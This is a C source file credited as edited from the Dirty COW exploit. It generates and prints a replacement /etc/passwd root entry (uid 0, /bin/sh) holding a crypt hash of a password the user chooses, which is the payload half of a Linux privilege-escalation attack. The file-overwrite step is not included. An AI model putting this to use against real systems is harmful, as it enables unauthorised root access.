/* Credits to zC00l; Edited using Dirty c0w exploit*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
#include <string.h>
const char* salt = "zc00l";
const char* common_passwd_file = "/etc/passwd";
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
int main(int argc, char **argv)
{
    struct Userinfo user;
    user.username = "root";
    user.user_id = 0;
    user.group_id = 0;
    user.info = "root";
    user.home_dir = "/root";
    user.shell = "/bin/sh";
  char* plaintext_pw;
    if (argc >= 2) {
        plaintext_pw = argv[1];
        printf("Please enter the new password: %s\n", plaintext_pw);
    } else {
        plaintext_pw = getpass("Please enter the new password: ");
    }
    user.hash = generate_password_hash(plaintext_pw);
    char *complete_passwd_line = generate_passwd_line(user);
    strtok(complete_passwd_line, "\n");
    printf("User line: %s/", complete_passwd_line);
  return 0;
}